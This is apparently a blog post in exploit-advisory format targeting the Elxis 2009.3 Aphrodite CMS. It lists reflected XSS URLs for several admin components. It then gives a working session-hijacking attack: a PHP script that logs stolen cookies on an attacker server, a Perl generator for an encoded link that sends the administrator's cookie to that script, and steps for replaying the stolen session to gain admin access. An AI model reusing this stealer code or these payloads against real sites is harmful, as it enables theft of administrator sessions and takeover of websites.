RSS

Elxis 2009.3 Aphrodite rev2681 – Session hijacking vulnerability

23 Aug

# Exploit Title: Elxis 2009.3 Aphrodite rev2681 – Session hijacking vulnerability
# Google Dork: —
# Date: 23/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: https://ghostinthelab.wordpress.com/http://s3cure.gr
# Software Link: http://www.elxis-downloads.com/downloads/download.html?id=325
# Version: Elxis 2009.3 Aphrodite rev2681
# Tested on: Linux Fedora 14

================
| Description              |
================
Elxis is powerful open source content management system (CMS) released for free under the GNU/GPL license. It has unique multi-lingual features, it follows W3C standards, it is secure, flexible, easy to use, and modern. The development team, Elxis Team, paid extra attention to the optimization of the CMS for the search engines and this lead to high performance of all elxis powered web sites and to high ranking in search engines results. We are glad to introduce you to the Elxis world. Welcome!

=============================
| 0x01 | XSS Vulnerabilites                   |
=============================

FrontPage Manager: (com_content)

http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&filter_sectionid=0&catid=0&limit=20&limitstart=0&option=com_frontpage&task=&boxchecked=0&simpleview=1

Content Items Manager: (com_frontpage)


http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&filter_pub=-3&filter_sectionid=0&catid=0&limit=20&limitstart=0&option=com_content§ionid=0&task=&boxchecked=0&hidemainmenu=0&redirect=0&simpleview=1

Private Messages: (com_messages)

http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&limit=20&limitstart=0&option=com_messages&task=&boxchecked=0&hidemainmenu=0

Menus Manager: (com_menus)

http://VICTIM_SERVER/elxis/administrator/index2.php?levellimit=1&search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&order%5B%5D=1&access=29&order%5B%5D=1&access=29&order%5B%5D=3&access=29&order%5B%5D=1&access=29&order%5B%5D=2&access=29&order%5B%5D=3&access=29&order%5B%5D=3&access=29&order%5B%5D=1&access=29&order%5B%5D=2&access=29&order%5B%5D=3&access=29&order%5B%5D=5&access=29&order%5B%5D=5&access=29&order%5B%5D=7&access=29&order%5B%5D=7&access=29&order%5B%5D=9&access=29&order%5B%5D=10&access=29&order%5B%5D=10&access=29&order%5B%5D=12&access=29&order%5B%5D=12&access=29&limit=20&limitstart=0&option=com_menus&menutype=mainmenu&task=&boxchecked=0&hidemainmenu=0

=========================================
| 0x02 | Session hijacking Vulnerability                         |
=========================================
Intro…
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:

  • Predictable session token;
  • Session Sniffing;
  • Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
  • Man-in-the-middle attack
  • Man-in-the-browser attack

Source:
https://www.owasp.org/index.php/Session_hijacking_attack

The 1st Step:
Upload to the ATTACKER_SERVER:

  • stealer.php – [Record the cookies of every user that views it!]
  • gotit.txt – [The log file!]
//--- stealer.php ---
<?php
header ('Location:http://VICTIM_SERVER/elxis/administrator/index2.php');
$cookie = $_GET['cookie'];
$log = fopen("gotit.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
//--- end ---

The 2nd Step:

Create the “evil” link (with the Elxis_2009.3_Aphrodite_rev2681.pl).

# --- Elxis_2009.3_Aphrodite_rev2681.pl ---
#!/usr/bin/perl
print "\n   |==[ mr.pr0n ]=============================================== |\n";
print "   | Elxis 2009.3 Aphrodite rev2681 - ..the evil link creator    |\n";
print "   |===================[ https://ghostinthelab.wordpress.com/ ]== |\n";

print "\nEnter the target (e.g.: http://victim.com)";
print "\n> ";
$target=;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "Enter the elxis directory (e.g.: elxis)";
print "\n> ";
$dir=;
chomp($dir);

$target = $target."/".$dir;

print "Enter the address of the \"stealer.php\" (e.g.: http://attacker.com/directory/stealer.php)";
print "\n> ";
$stealer=;
chomp($stealer);

$result = "document.location=\"$stealer?cookie=\"+document.cookie\;";
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "\n[+] Send this link to your victim...\n\n";
print $target."/administrator/index2.php?option=com_frontpage&search='\">%".$result."3b\n";
#--- end ---

The 3rd Step:
Send the “evil” link to the administrator….
WARNING : The administrator *MUST* be logged in.

The 4th Step:

Go to http://VICTIM_SERVER/elxis/administrator/
Insert into your cookie the hijacked session.
Go to http://VICTIM_SERVER/elxis/administrator/index2.php
…..Welcome administrator🙂

Video:

 
Leave a comment

Posted by on August 23, 2011 in Exploits

 

Tags: , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: